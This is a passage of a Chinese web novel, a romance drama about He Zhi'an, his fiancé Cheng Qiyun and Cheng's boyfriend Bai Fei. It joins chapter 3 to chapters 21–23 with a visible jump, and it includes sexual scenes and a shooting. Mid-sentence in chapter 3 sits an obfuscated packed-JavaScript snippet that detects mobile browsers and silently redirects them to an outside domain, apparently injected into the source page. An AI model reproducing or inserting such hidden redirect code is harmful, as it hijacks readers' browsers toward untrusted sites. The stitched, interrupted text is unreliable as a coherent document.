《黑月光男配背后的真相竟然是!》 3. 第 3 章 何芷安跑回家后躲进房间,难过地扑进大床里哭起来了。 系统在他脑子里说:“你做得很好,剧情顺利推进了。” 他一点也不管,难过得要死。那个长相一般身材干瘪的白豆芽,怎么可以当哥哥的男朋友,睡他哥哥的床,还戴着那种不三不四的东西被他哥哥夸漂亮呢? 这套大平层是程起云自己掌权分公司后买的,何芷安来过一次,程起云录进了他的身份信息,说这是“他和小公主”的家。何芷安在国外的时候给他打视频电话,大部分时候程起云的背景都是在这套房子里,或者在公司。 现在为什么是别人住进去了啊? 何芷安从2.5米的大床这头滚到那头,丝绸被随着他的动作裹在身上,缠成一个春卷。他呆呆地望着天花板,眼泪从眼尾滑到鬓角,伤心地想。 哥哥是没错的呀......他一个人管理那么大的公司,肯定很辛苦。程伯伯和伯母对他又严厉,他一定压力很大,疲惫的时候想要有人陪着,也是人之常情。 是因为那个可恶的豆芽菜趁虚而入,哥哥才等不到自己回国的。 而且哥哥也没有多么爱他呀,不是还出轨了吗?虽然这是坏男人才会做的事情,但是自己看过了,豆芽菜的身材没办法满足哥哥也是很正常的,哥哥得不到满足才会出轨,所以还是豆芽菜的错。 自己今天不应该凶哥哥,还把果盘扔在哥哥身上的。 想完这些之后,何芷安的眼泪停了下来。他先是试探性地给程起云打了一个电话,程起云没接,他就在思索之后脱掉了春卷皮,站回到地板上。 因为太难过,回来他没换衣服就上床了,先叫了阿姨来更换床单。房间重新安静下来之后,他脱掉风衣和里面的针织衫、衬衫,进浴室洗了个澡,只穿着浴衣走回卧室。 除了浴室的灯,整个卧室只开了盏落地灯。兰花垂吊造型的落地灯正挨着穿衣镜,泼下一团橙黄的光晕,他站在穿衣镜前,敞开了浴袍。 暖色调的光像搅碎的蛋黄,同时涂满镜面和他的身体。在营养师和健身师持之以恒的指导下,何芷安锻炼出了也许不那么管用,但绝对漂亮的肌肉。他的胸肌隆起的弧度不大也不小,呈现出适可而止的饱满,有种恰好填进掌心的肉感。胸膛往下六块腹肌流畅排列,由于极低的体脂率界限分明,两条人鱼线蜿蜒而下,连接特意修建过毛发的部位。 这里他会定期去做美容,所以色泽非常干净健康。何芷安想过要不要把毛发染色以做点缀,后来又觉得黑色显得清纯一点,所以还是保留了原色。 但是现在看来,程起云好像更喜欢华丽的风格啊? 何芷安皱起眉毛,松松系上浴袍,只露出白皙的胸膛在外。他挑剔的检视着自己上身的某项性征,思考在上面穿个环的可能性,但只是想一想就脊背发寒,忍不住屈起脚趾扣了扣羊毛地毯。 纹身就已经很痛了...... 总也有事情是需要哥哥退一步的,对吧?说服了自己,何芷安松出一口气,况且即使严苛如他,也觉得自己现在已经算是相当不错,至少要甩那个豆芽菜几百条街。程起云也许是没见过好的,才会被一根白豆芽引诱。 何芷安伸手够到柜子上的润肤乳,打开盖子,悬空将乳液挤到锁骨以下。黏稠的乳液微微向下滑动一段距离,附着在胸口,随即被覆上来的两只手掌打圈推开。杏仁混合椰子的香味蔓延开来,润肤乳也呈现出杏仁般的色泽,在光滑的皮肤上融化。 他没有把润肤乳全部推开,有些融化完了,在光线中看起来湿漉漉的一层。而有些仍然堆积在胸肌间、团在某处,甚至黏糊糊地抹到锁骨——做完这些后,何芷安忍不住看了眼卧室的门,羞耻心让他反复确认门锁好了,才弯腰分开双膝跪在了地毯上。 紧窄的腰身下塌,松散的衣袍敞胸露怀,何芷安单手撑地,一只手举高手机,自上而下冲着自己的胸口拍了张照片。 想了想,在兰花灯盏投落的光影里,他对着镜头吐出舌尖。柔和的暖光映出他舌头上潮湿的口水,形状优美的下颚,修长的脖颈连接沾染乳液的锁骨。杏仁椰香分明是传不到手机屏幕里去的,却也通过如此颜色叫人仿佛能闻到柔顺甜蜜的香气。 “啊啊啊!我好那个!” 拍完照片,何芷安瞬间扔了手机,迅速涂完乳液,捂着脸缩在地毯上一动不动。 半晌,他缓缓伸出一只手,抓住扔在旁边的手机拉回来,保持着躬身的姿势悄悄地检查起照片。觉得满意后,全部发送给了备注为“老公哥哥”的账号。 程起云没回家,开车赶回公司。 他晚上其实没空,有个不得不开的跨国会议,涉及到与海外公司合作的价值3亿项目的订单。 数额不大,关键在于这是在日益严苛的贸易壁垒下浙兴寻求到的一个突破口,代表着之后一系列的合作机会与可能。项目已经进入尾声,这将是最后一次交流,程起云的出席不可或缺。 程序东正是打听到他晚上有这么个会议,才敢给他递邀请。既全了邀请兄长的礼仪,又满足了不让他真的来的心愿。 “真是一帮蠢货。” 程起云将会议推迟一个小时,来见了何芷安一面,等人走后回到商务车开完线上会议,合上电脑后忍不住发出低嗤 他随手发信息给程序东和齐诚两家的长辈,说自己有意在苏北开拓业务正需人手,问他们有没有意向让家里子侄来他这里历练,接着抛下手机,亲自开车返回公司。 私人事务,他没让林铭安排司机,驾驶着纯黑的商务车跑在夜间宽阔的马路上。会议开了三个小时,时间已过零点,高架桥上车辆稀少,路灯和两旁大楼的灯光将整条大道照得敞亮。 手机联通车载屏幕,区别于其他联系人的特殊消息提示音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785523|158009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响起,智能助手询问。 “主人,小公主来信啦!需要我为您点开吗?” 程起云单手掌着方向盘,说:“点开。” 放大的自拍照片骤然出现在车载屏幕上,路灯的光线被车窗切割,横掠过的灯光照亮屏幕中艳红的舌尖和胸膛的乳白。极富冲击感的照片映进程起云视野,那截舌头化成他眼底的一抹猩红。 梅赛德斯V级车硕大的车头猛然一偏,短暂的失控中朝着护栏冲去。护栏之外是与地面高达15米的落差,男人握着方向盘的手掌猛地收紧,青筋如焊蟒般立时隆起,另一只手也扶上方向盘,踩下刹车的同时发力朝另一侧快速打死。 车辆强行改道驶入减速带,重重撞上路边坚硬的石墩,车头凹陷,安全气囊弹出,迅速撑起的气囊压向身体,挤断了程起云的左侧小臂。 庞大的车身终于静止,程起云熄火,关闭智能助手的一键报警和呼叫120功能,漆黑的眼珠定定注视着仍然显示着何芷安照片的屏幕。 改装过的梅赛德斯只是车头受损,车辆功能尚能正常使用。程起云后滑座椅,离开安全气囊的保护范围,任由骨折的左臂搭在大腿上,脊背靠入宽大的座椅,指挥智能助手替他滑动照片。 吐舌头的,没吐舌头的。伸手揉的,没伸手揉的。乳液往下滴的…… 程起云喉结滚动,太阳穴跳了跳,一口气含在口腔哑声骂了句脏话。他单手松了西裤皮带,金属搭扣打开时发出清脆的声响。 半个小时后,他让林铭安排了拖车、保险和私人医院的救护。 林铭跟着救护车赶到的时候已经是凌晨两点,整条高架桥上寂寥无人。程起云咬着香烟斜靠在凹陷的前车盖上,衬衫衣扣松到胸膛,口中的烟雾和烟头燃烧的雾霭一齐散开,橘红色的火星在深秋的夜中明明灭灭。 路灯打在他的头顶,他的脸隐没在深浅起伏的阴影中,眼皮下垂,正用右手拿着手机发消息。 何芷安在卧室里紧张地等待着程起云的反应。 从十二点等到凌晨两点,他激动的心情冷却,有点困了。恒温空调将室温保持在适宜的26度,他陷在温暖柔软的被窝里昏昏欲睡。 手机提示音唤回他的意识,何芷安摸到手机缓慢地眨了下眼睛,花了两秒钟看清屏幕后猛地坐了起来,接着又捧着手机躺了回去。 他心如擂鼓,耳根发红,小心翼翼地又看了一眼程起云的消息。 老公哥哥:现在是秋天吧? 老公哥哥:你是狗吗?不懂事的小狗,有多骚才会不分季节冲人发情? 何芷安被羞耻感淹没,颤悠悠打字:我不是小狗…… 过了几分钟对方才回复。 老公哥哥:发语音。 何芷安按着语音键说:“哥哥,我不是小狗。” 老公哥哥:听不懂吗?发语音,像小狗一样叫给我听。 20-30 第21章 第 21 章 所谓恋人 何芷安没搞明白他在干什么。 白非自己也才回神, 却意外地对捂着何芷安脚这件事很平静。 “你的脚有些冷。” 程起云家里开着恒温空调,何芷安原本没意识到脚冷不冷。直到被白非握进手里,从对方掌心渗来融融暖意, 才体会到温差, 左脚回温时略微发麻。 他垂眼,白非拢着他的脚,似乎没觉得有什么不妥——何芷安也没觉得。他习惯了来自周围任何人的优待与关照, 白非此举,何芷安认为他是在讨好他。 毕竟白非抢走了他的未婚夫! 何芷安心中冷笑连连,不认为自己吃碗汤圆被暖个脚就能收买。白非的手其实挺好看,十指修长、骨节分明, 指甲也修剪得平整干净。只是他的手背和指节上有道道条状的陈旧伤疤,也许是幼年留下的,无声彰显着曾经历经的苦难。 可怜虫。 何芷安冷漠而轻蔑地想,没有因此对白非生出宽容之心。他从白非手中抽出左脚, 往后靠进沙发,顺势直接将脚掌踩上了白非的脸。白袜掩住白非的口鼻,脚掌的皮肉隔着一层薄薄的布料感受到对方急促的呼吸,何芷安刻意加重力道,摩擦、踩踏着白非的脸。 鼻梁、嘴唇都被蹂躏, 这份上, 白非竟仍然没有闻到任何难闻的味道, 只有布料的气味和何芷安的体温白非不明白自己的第一反应为什么是这个。 也许因为何芷安正在羞辱他的人格,而他对于来自何芷安的羞辱有着强大的抗性。 从小到大, 尤其是童年时期,白非因为贫穷吃够了苦头。那些苦头大多是身体上的,小时候被周围比邻的男人们呼来喝去, 让他去跑腿买酒买烟,东西买回来稍慢就要挨上几脚。大人的力道对于当时的他来说还是太重了,有时会觉得肺要从肋骨下呕出来。由于买东西剩下的零钱男人们会直接丢给他,所以他一直忍着,为了这多的三块、五块钱瞒着母亲,直到十几岁身量抽条,他也有男人的轮廓了,这种行为才停止。 但他并没有缓歇的时间,又要去打工。碰到的刁难人的顾客和老板不知凡几,被泼过滚烫的热水,也为要拖欠的工资挨过打。伴随着这些疼痛的,同时还有来自口头的言语羞辱,不过,至少对于白非来说,精神上的痛苦对比□□来说无足轻重。 他仿佛天生有一颗强大的心脏,不会因外界的欺辱自我怀疑、就此倒下。但他毕竟肉体凡胎,常年挨打,因此畏惧疼痛。 何芷安并不带给他疼痛。 何芷安的羞辱是微凉的,袜子的用料甚至都比他日常穿的衣服面料好。非常柔软,碾压在脸上时没有摩擦产生的痛感,仅仅感受到那种力度。 他偏过头,方便自己呼吸。这一举动却好似惹怒对方,那只脚不罢休地追上来,无意蹭进了他的齿间,他想要说什么,张口却意外撞上了何芷安脚趾,牙齿咬了他一下。 何芷安立刻把脚收了回去。 “你咬我?” 他的嗓音是难以置信的,好像都把脚踩到别人脸上羞辱人了,被咬一口反倒成了受害者,不应该被咬似的。 白非心下叹息,这是他对何芷安更包容的原因——何芷安傲慢得太直白,不礼貌得太浅显,以至于显出一种没有常识的稚拙感。仿佛你抢他玩具,他就给你在家门口挖个坑,这种小打小闹的过家家式欺凌,对于已经完全长成一个男人的白非来说,已经不具备任何伤害了。 他感觉像被自己收藏的布偶娃娃报复了一下。 自然,白非对于何芷安的认知是片面的。何芷安在这种环境下长大,接受最高等的教育,显然是个聪明人。他在白非面前这么行事,很大原因是他骨子里和齐诚一样,并不把白非这种阶层的人当做“人”来看待。 不是人,自然也不是敌人。白非在他这里并不具备一个立体的形象,只是一个占据了程起云恋人位置的符号。 他实际上没有真正发自内心的敌意,因此行事肆意,倒没采取真正残酷的手段。他不把白非当人,自己也被白非当做布偶,两人对彼此的理解都极不客观。 白非看过去,何芷安的袜子上有一圈湿痕,在脚拇指的位置。 “我不是故意的。”他说着,握住何芷安的脚踝,替他脱了袜子:“我等会儿去给你拿双新的。” 何芷安皱眉:“我要穿哥哥穿过的。” 白非的动作顿了顿,给他脱去另一只脚上的鞋袜,又套上棉拖鞋。问:“你很喜欢程总?” 何芷安没来及回答,房门响动,程起云走了进来。 他似乎意外何芷安会在这里,停在他们不远处。视线从白非握着何芷安脚踝的手上扫过,白非下意识松了手。 程起云:“安安?” 何芷安想起来自己和程起云在冷战了,他明明是想来偷偷放走白非的。都怪白非,给他吃汤圆,而且白非不像是被囚禁,自己也没有要走的意思。 他有点尴尬起来,还不想和程起云讲话,看了看身边的白非。 白非站起来:“他过来” 白非也不好解释何芷安的目的,只能说:“玩一下。” 话音落下,何芷安立刻瞪他,他在和程起云冷战,怎么会跑过来玩?! 程起云的视线也转移到他身上,过了几秒后才移开,先去洗了手,回来坐到沙发上,问白非。 “钟旻还有联系你么?” “我没有接他的电话。” “这几天他大概会上门找你,你自己注意些。” 何芷安在旁边听着,程起云这话是坐实了钟旻对白非穷追烂打,他实在有些想象不出来,不过,事实也摆在眼前了。 他又想到现在是程起云的上班时间,他提早回家,是不是担心白非被钟旻抢走?心里发酸,他终于忍不住开口,不想显得是在和程起云讲话,就说。 “这个汤圆好难吃!” 程起云和白非都看过来,也同一时间伸了手,两人的手在桌上一碰,白非愣了愣,缓缓收了回来。 程起云神色不变地端起碗,尝了一口,说:“味道不错。” 何芷安感觉程起云在和自己作对:“难吃。” 程起云没有给他台阶下:“不要挑食。” 何芷安抿住嘴唇,已经控制不住委屈的表情,白非忍不住站起来打圆场。 “应该是我糖放少了,我去拿方糖过来。” 他转身进了厨房,厨房是开放式的,只不过因为房屋面积大,离客厅也有一段距离。等他拿了方糖走向客厅,却听到粘腻近似于水声的响动。 白非不是没和程起云做过,他知道这声音像什么。 他放轻脚步走过去,看见何芷安跨坐在程起云大腿上。程起云横臂揽着他的腰,单手扣住他的后颈,何芷安的窄腰弓起,肩背往后倒,体重全由程起云的手掌支撑。他高高仰着脖子,从脸颊开始,粘稠的金棕色液体淌过他的下颚、脖颈,雪白的小汤圆挂在他的锁骨中。 程起云把酒酿小汤圆倒到他身上了。 何芷安轻喘着呢喃:“好烫。” 程起云低头,从他的脖颈舔上来,猩红的舌头勾过他的下巴。 他们差一点就要接吻,但是并没有。程起云只是吮走汤汁,嘬吻他的面颊和唇角,甚至手都没有乱动,仅仅稳稳支撑着他。但即使这样,白非也看清了何芷安在发抖,他的腰绷得很紧,长颈也战栗着,在程起云的掌中,近乎一弯弦月。 “呃、我,我讨厌你。”何芷安说:“我在跟你冷战。” 程起云笑着,声音从震动的胸腔发出,低哑沉闷:“我在教育你。” 何芷安:“你凭什么教育我?” 程起云:“你叫我哥哥,你说呢?” 何芷安:“我可以叫你老公吗?” 程起云:“我有男朋友。” 隔着一段距离旁观的白非总算想起来,自己就是那个男朋友。 而客厅里那个以极具掌控欲和占有欲姿态控制着何芷安的人,是自己的恋人。 他在这一刻有点恍惚,又有种恍然大悟之感。他和程起云的恋爱其实非常顺利,程起云的到来解决了他人生中的一切难题,也为他提供了更高的平台。他进入程起云的公司,空降项目部,一来就跟进重点项目。 白非其实很怕自己做不好,但出乎他自己预料,也让那些私底下对他关系户身份颇多意见的人大跌眼镜,每一个他参与的项目都大获成功。 甚至有一些是存在客观的、不以人力为转移难点的项目,有他在,也能迎来转机。 比如浙兴久攻不下的欧洲市场,他刚进欧洲贸易项目组不久,莎拉和顾卫就宣布订婚,欧盟终于向华国敞开了内部市场。 他是欣喜的,成功的事业让他找到了锚点,他获得了成就感和自豪感,也可以用这些项目回报程起云的知遇之恩。而在生活中,程起云同样承担着一个引导者的角色,程起云决定着他们恋情的走向,程起云给他什么他就收什么,他们相敬如宾,绝大部分时候不睡一张床。 并不是不做,只是做完后程起云会去别的房间睡。程起云重欲,在床上几乎是一只野兽,称得上残暴。而且喜欢背后位,将他面朝下摁在床上,偶尔呼吸困难的时候,白非会觉得自己只是程起云的一样工具。但这个念头很快被对程起云的感激盖过了。 但是现在 他看着程起云慢条斯理地舔走何芷安锁骨上的小汤圆送入口中,咬肌微微鼓起,那双深黑的眼珠自怀中人修长的脖颈上抬,和他对上视线。 白非终于认清,程起云似乎真的不喜欢他 而他,其实也并不怎么喜欢程起云—— 作者有话说:一更 第22章 第 22 章 海潮 何芷安跨坐在程起云大腿上, 手掌攀着他的肩膀。 他很用力,指节轻微发白,手腕上青色的筋脉在皮肤下凸起。程起云的牙齿磨擦他的脸颊、下巴, 咬他的脖颈和锁骨, 他觉得自己被彻彻底底品尝了一通,身上流淌的汤汁被全然舔走,程起云才终于得到满足, 依偎在他胸膛,咀嚼落在他锁骨凹陷处的汤圆。 属于酒酿小汤圆的米酒气味,桂花和蜜糖的香气弥散,萦绕在鼻尖, 让呼吸管道都觉出稠腻。 程起云的咀嚼与吞咽声加剧了这一点。 何芷安晕头转向,忽然觉得程起云是自己的宝宝,自己正在给程起云喂食。他生出怜爱之心,抬手用修长的手指梳理对方的黑发, 忘了自己正在单方面和程起云冷战,很温柔地叫。 “哥哥。” 程起云磨了磨他的锁骨。 何芷安咽喉里发出气音,滚动着,然后问:“要不要做?” 程起云的动作顿住了。 他仰头看何芷安,何芷安却丝毫没觉得不对似的, 在这个程起云和白非正在同居的家里, 在白非转身去厨房的当下, 对有恋人的男人发出这样的邀请。 而他的神情竟然还那样坦荡,混合着羞涩与甜蜜, 甚至还有种奉献自己的牺牲精神——那样纯情的、初恋一样的神情。 程起云的手掌收紧了。 脚步声传来,白非未发一语,走来将方糖放在了桌上。 程起云仿佛回神, 把何芷安从自己大腿上放了下去。何芷安不满回头,他眼中的不满尚未来得及蔓延到脸上,双颊还是红的,蜜果般的神态没有退下,这一眼,叫望过来的白非也愣了愣。 白非心里陡然生出不愉,久违烦躁的心情,让他情绪有些不稳定。 当然了,他男朋友在和何芷安光明正大地搞这种事,他是有理由不愉快的,不是么? 他故意略过何芷安,看着程起云说。 “起云,需要我帮你处理一下吗?” 他不叫程总了,视线落在程起云的西裤上。 程起云还未表态,何芷安意识到他在发出什么邀请后猛地站了起来,指着白非的鼻子骂。 “你知不知道廉耻?” “我怎么了?” “你大白天勾引我哥哥,你就那么缺男人吗!” “那是我的男人。” 白非盯着何芷安逐渐苍白的脸颊,缓慢重复:“他是我的男朋友,不是你的。” 何芷安睫毛颤动,青雾似的眉毛拢着,眼见变得难过了。他寻求安慰似的倾向程起云,像只被夺走了落脚树枝的小鸟,程起云伸手,在他要握上何芷安手掌的那刻,白非继续道。 “不会是你想帮他吧?” 何芷安一下子就转过了身,也不理程起云了,全心全意和白非对战。 “那又怎么样?我是哥哥的未婚夫!” “不知廉耻?” “我和你又不一样!” “是吗?” 他们开始吵没什么杀伤力的架,程起云抬手摁了摁额角,大概是被吵得有点头疼了,站起身来。 “何芷安,跟我去换衣服。” 他鲜少叫何芷安全名,一叫何芷安就老实了。他狠狠瞪了一眼白非后,乖乖地跟在程起云身后,进了衣帽间。 那碗酒酿小汤圆有大半黏在了衣服上,何芷安本来打算不久待的,没有脱外套。这下外套上黏糊糊的,直接扔进了垃圾桶。 程起云抓了件灰色的大衣给他套上,因为程起云比他身材壮实一些,何芷安被他的大衣包裹着,竟有些空荡荡的。程起云不由抓着两边衣领,又给他拢紧了一些。 何芷安也黏糊糊地依偎过来。 “哥哥,你和他什么时候分手啊?” “谁说我们要分手了?” “反正钟旻喜欢他,你把他送给钟旻不行吗?不要小气。” 程起云被逗笑了,没理他。何芷安锲而不舍,他没有忘记今天的目的:“或者你就不要把他关在家里嘛。如果他自己不想的话,钟旻就算抓走他,他也会逃跑的。如果不跑就是他也喜欢钟旻。” “安安,别急。”程起云近距离看着他的眼睛,忽然说:“再等等。” 何芷安没明白程起云的意思,他不想再等了,这是一个绝佳的送走白非的机会。跟着钟旻白非也会幸福啊,这样程起云和自己也能幸福,为什么不呢? 他难过地问:“你要我等什么,难道你觉得和白非在一起,才让你更快乐吗?” 程起云长久地凝视着他,抬手抹过他的眼尾,像是要把从他眼中溢出的伤心抹掉似的,说出的话却十分冷酷。 “安安,你只是从小到大习惯了我在你身边,把我当做是你的所有物。” “不要以为自己有多喜欢我,然后因此难过。” 听到这些话,何芷安不敢置信地看着他,确认他不是在开玩笑之后,用力搡开了他! 他嘴唇张开,有千言万语要反驳,但是最终没说出来——毕竟,程起云连自己不喜欢他这种混蛋话都说了,他讲再多,又有什么用呢? 反正程起云现在喜欢别人,是看不见他的喜欢的。 程起云喜欢白非。 这个事实忽然无比清晰地在何芷安心中浮现,他总是以感性判断程起云对待白非的态度,坚定地认为程起云只喜欢自己。但是,但是以理智来分析的话,程起云就是喜欢白非啊。 喜欢到否认自己对他的喜欢。 眼泪直直从眼睛里落下来,何芷安偏过头,不愿意看程起云,也不愿意被看见。他跑出衣帽间,也跑出客厅,白非好像叫了他一声,他捂住耳朵,最后躲进地下室的车里。 他觉得很难过,但是没有哭,眼泪只在刚听程起云说完那句话时落了一滴。好像他的大脑他的心脏都还未缓过来程起云喜欢上别人这件事,那些不甘、愤怒、悲伤都被不敢置信堵塞着,憋得他眼眶干涩,只咽喉到胸腔这一带上不来气,像条缺水即将窒息的鱼。 程起云程起云这个超级大渣男! “陈伯,送我回家。” 他倦怠地靠在车窗玻璃上,只想把自己缩起来。 陈伯是家里干了很久的司机了,关心地从车后镜里看了他一眼,没说什么,沉默平稳地启动了车辆。 这次何芷安躲进家里后,切断社交,头一次不主动联系程起云,将自己闷了半个月。 他翻来覆去地想这件事,始终做不到彻底相信。也许程起云是故意气他呢?毕竟程起云很坏。 可梦里,或者清醒的时候,他看着天花板、看着沙发,看着窗户和空气,就会想到程起云当时的表情。漠然的,带着审判意味的,就那样给他下了判决。程起云从来没有用这种表情面对过他,又也许他觉得程起云没变心只是自作多情。 他蔫哒哒颓丧在家,别人来找他也不见,最后是程序东强行闯进他卧室,把他从被窝里挖了出来。 他带何芷安去海钓,南都沿海,车开上一个小时就能到达海岸线。这里礁石嶙峋,许多钓友都喜欢上这来,程序东圈出了一块地,把起伏的礁石磨平了,改成了几处天然的海上平台。阶梯从沙滩延伸到礁石上,几处礁石之间通过钢化玻璃栈道相连,是休闲的好去处。 今天天阴沉着,是暴雨来前的征兆。往往这种时候鱼才容易上钩,浮出海面透气。天幕在白中夹了灰,与远处的海平面融成一色,翻涌的海浪拍打在礁石上,扑来咸涩的水汽。 程序东虽然不知道何芷安具体在萎靡什么,但也明白肯定和自家堂哥有关——毕竟钟旻和程起云为白非反目成仇,两人为一个男人较上劲已经成为圈中最大八卦——何芷安为此伤情,十分合理。 他知道何芷安不大喜欢乱七八糟的聚会,也没打算用酒精和男人替这位好友麻痹神经,干脆就把人领来看海疗养了。 程序东还约了几个人,都是家族生意来往紧密,私底下关系更近一些的。 何芷安见了他们,也不好摆出一副没意思的模样,强打精神和人寒暄。几人两两三三坐在礁石上摆着的座椅中,何芷安也跳了一处坐下。 旁边专业的助理上来帮他调试鱼竿,何芷安玩过几回,自己甩了钩,随后就窝在椅子里望着无边际的灰色海面发愣。 程序东坐在他旁边,端起西瓜汁碰了碰他被海风吹得发白的脸颊。 “喝吗?” 何芷安接过来喝了一口,程序东发现他手上干干净净的,戒指手链全都没戴,连指甲都有些长了,不由叹了口气。 他也没说什么,只是道:“你知道的,不管你们是什么关系。如果你和他那个男朋友一起掉进海里,堂哥肯定会先救你。” 何芷安愣了会儿神,忽然说:“不一定。” 程序东惊讶地看着他。 何芷安没转头,目光仍随风飘荡在海面上:“我以前也觉得他只是玩玩,等他们分手就好了现在感觉,好像不是这样。” 程序东不得不说:“你怎么会这样想?那个白非,怎么可能和你比?” 何芷安终于看向他:“那为什么钟旻也看上他了,为什么哥哥不放手呢?” 这程序东语塞,程起云和钟旻争夺白非的八卦热闹归热闹,实际上没一个人理解,他们到底在抢什么。以至于现在许多人推测,他们两个在初中同班时就有旧怨,现在不过借白非爆发出来,白非只是两个人男人为踩着对方争回面子的借口。 还有人推测这后面有利益相关。 传闻,京城钟家因为早些年钟司令,也就是钟旻父亲的站队问题,很是陷入了一段时间的争端。这争端引发的动荡伤筋动骨,现在表面上钟司令官复原职,钟旻当回了他的太子爷,但钟家的地位并不能说全然稳定,他们需要寻到足够坚实的助力。 与他们姻亲的顾家,本该是左膀右臂,但自顾卫和莎拉订婚后,顾家态度暧昧,反倒有取而代之的意思。 钟旻这回下江南,自然不可能是单纯的旧地重游,主要是与外祖母这边联络感情、加强联系,在这遍地黄金的南都一带,通过母亲娘家的关系寻找盟友。毕竟有了兵,也得有钱,才能办成足够多的事。 时局扑朔迷离,像暴雨前的海面波澜不止,实际上圈中没有几个人是真就热闹看热闹的,唯有何芷安闻风只望风,用一双忧郁的眼睛问程序东,他究竟爱不爱我?—— 作者有话说:二更 第23章 第 23 章 枪响 最终, 程序东只能对何芷安说:“也许有隐情。” 何芷安不说话了,撑着下巴望向遥远的海面。 天阴沉得厉害,助理打开各个礁石上的遮阳伞, 在他们身侧放下雨衣。大风送来旁边礁石上的交谈声, 他们压着声音,同样在聊程起云和钟旻的事,何芷安听得很清晰。 “第几回了?” “知道的、他们正面对上至少有三回了。” “奇怪, 究竟是什么纠葛,能让他俩这么不体面。总不会是真为了一个男人,况且” “况且不顾何家的脸面。” “说起来,何伯伯就一点也不管这事?” “我也纳闷, 程家的不管他们胡闹,何家也不管吗?” “诶!你们收到消息没有?” “什么?我专心钓鱼呢。” “得了吧,你钓上了几条啊!听我说,有人说看见钟旻往程起云关着白非的房子去了, 带着人和枪!” “我天,疯了?来真的?” “不会吧,他难道要在南都的地界上对程起云动枪?他以为程家是什么软柿子?反倒是他,京城天高皇帝远的” “应该不会真的动枪吧。” 程序东听到这里就觉得不好,没来及为这个消息吃惊, 就先往何芷安那看去。果然, 原本发蔫的何芷安猛地站了起来, 脸上焦急与厉色一闪而过,转身就走。 祖宗啊。程序东暗叹一声, 知道拦不了,赶紧给程起云传了个消息。再提步去追,何芷安的身影已经迅速消失在了礁石往下蜿蜒的阶梯上。 何芷安从助理那里拿了程序东的车钥匙, 径直开走了他的帕加尼。何芷安平时不大有机会自己开车,但并不代表他不会,相反,他的车技高超,还玩过几年赛车。 出国念书大概是第二年的时候,他沉迷了很长一段时间的极限运动。跳伞、赛车、攀岩,好像通过与死神抢夺这具生命的自主权所迸发的多巴胺,足够让他忘记独身在异国的寂寞,以及其他情绪。 超跑开进市区的时候,雨终于下了下来。暴雨中马路上人车纷纷避让,何芷安目视前方,雨刮器扫开水银似的雨幕,橙黄色的车身仿佛一道贴地爆开的闪电,引擎雷般轰鸣,他修长的双手稳稳握着方向盘,偶尔闯不过的红灯,食指不耐地敲击表盘。 半个小时之内,他赶到了程起云家楼下。 乘上电梯,他直达32层。这一层独属于程起云,没有邻居,宽阔的门廊内此刻站了几个陌生男人,身材挺拔,鹰瞵鹗视,一看就是军队出身。 程起云家的门开着,从里面隐隐传出声响。 争执声、重物挪动的声音,以及一声沉闷的不详的钝响,砰! 何芷安瞳孔一缩,直直跑了过去,没到门口就被卫兵拦住。对方铁钳似的胳膊重重卡在他腰腹,何芷安厉声高喝,声带撕扯着,几乎破了音! “放开我!” “钟旻——” 片刻后,钟旻循声而出,他沉着眉弓,端肃的脸上满是萧冷之意,右手持枪,左颧骨上有一片鲜明的黑紫淤青。 他抬眼看见何芷安,阔步走去,风衣下摆翻卷,站定在何芷安身前。 何芷安:“你让他放开我!我要进去” 钟旻忽然将尚且发烫的枪口抵上他的下巴,何芷安被迫止住话头,仰起脸来。 “你急什么?”钟旻淡淡地问:“我要带走白非,程起云替他挡了子弹,他不要自己的命,轮得到你操心?” 何芷安眉眼间的焦急一顿,眼睛深处含着的惶然定下来,泥沼般沉淀。他缓慢地眨了下眼睛,很费力一样。 “哥哥,挡子弹?” “你骗我。” 钟旻:“我为什么骗你?” 何芷安:“你既然要带走白非,为什么要对着他开枪。” 钟旻:“他既然不想走,我打断他的腿带他走,也是一样的。” 枪口上移,钟旻用枪管摩挲何芷安的侧颊,压身凑近他耳廓:“莉莉,你以为我对谁都像对你这么温和?” 何芷安喉结滚动,眉角眼梢的惊疑不定尽数敛下,他冷着一张白面,直视钟旻。 “让我进去!” 钟旻和他四目相对,几秒后,一扬手。 警卫兵松开何芷安,何芷安没有再看一眼旁边的钟旻,快步跑向大门。他踏进门内,当真嗅到鲜血与硝烟的气味,绕过门关,地板上,程起云半跪着,左臂血流如注。白非蹲在他的身旁。 “哥哥!” 何芷安立刻跑过来,看清程起云挽起的袖口下,肌肉结实的小臂上有个正在流血的弹孔。是穿透伤,染血的子弹正落在地板上。 “哥哥,疼不疼?”何芷安面色苍白,嘴唇颤抖,想握住程起云的手又不敢。“我送你去医院!” 程起云却仿佛不愿意他来,视线扫过房门口,哑声说。 “回去,安安。” 何芷安怔住:“什么?” 程起云说:“你回去。” 何芷安扬声:“你中枪了,血流成这样,你让我扔下你回去?!” 程起云平静地说:“我有数,没伤到骨头和神经。” 何芷安盯着他,狠喘了几口气,视线忽然移向边上同样面带焦虑之色的白非。 “你为了他?为了他伤害自己的身体,为了他让我走?” 白非对上他的视线,下意识挺直脊背:“我” 何芷安却没有理会他的意思,只要程起云的回答:“你说啊!” 程起云望着他,最终只用未受伤的右手轻轻摸了摸他被枪管蹭出红痕的侧脸。 “我能解决,宝贝,好吗?” 他一句话轻易刺破何芷安心中膨胀的愤怒,他握住程起云的右手,让他的掌心完全贴住脸颊。用极迫切、担忧又湿润的眼睛,望着程起云。 “哥哥,我留下来照顾你好吗?等你伤处理好了我就回家,求你了。” 但程起云抽回了手,偏头对旁边的白非说:“叫医生。” 白非看着那被何芷安捧到过颊边的手,忽然伸手握住了,他侧过身,挡住何芷安的视线。 “我会照顾他的。”他看着面色骤然难看的何芷安,像这栋房子的主人一样:“不用担心了,你走吧。” 何芷安不知道自己是怎么离开的。 他的视野里只有白非望过来请离他的画面,那清冷的眼中裹携的眼神几乎是怜悯的。程起云的大半身体被他遮挡,留下无动于衷的一角侧影。 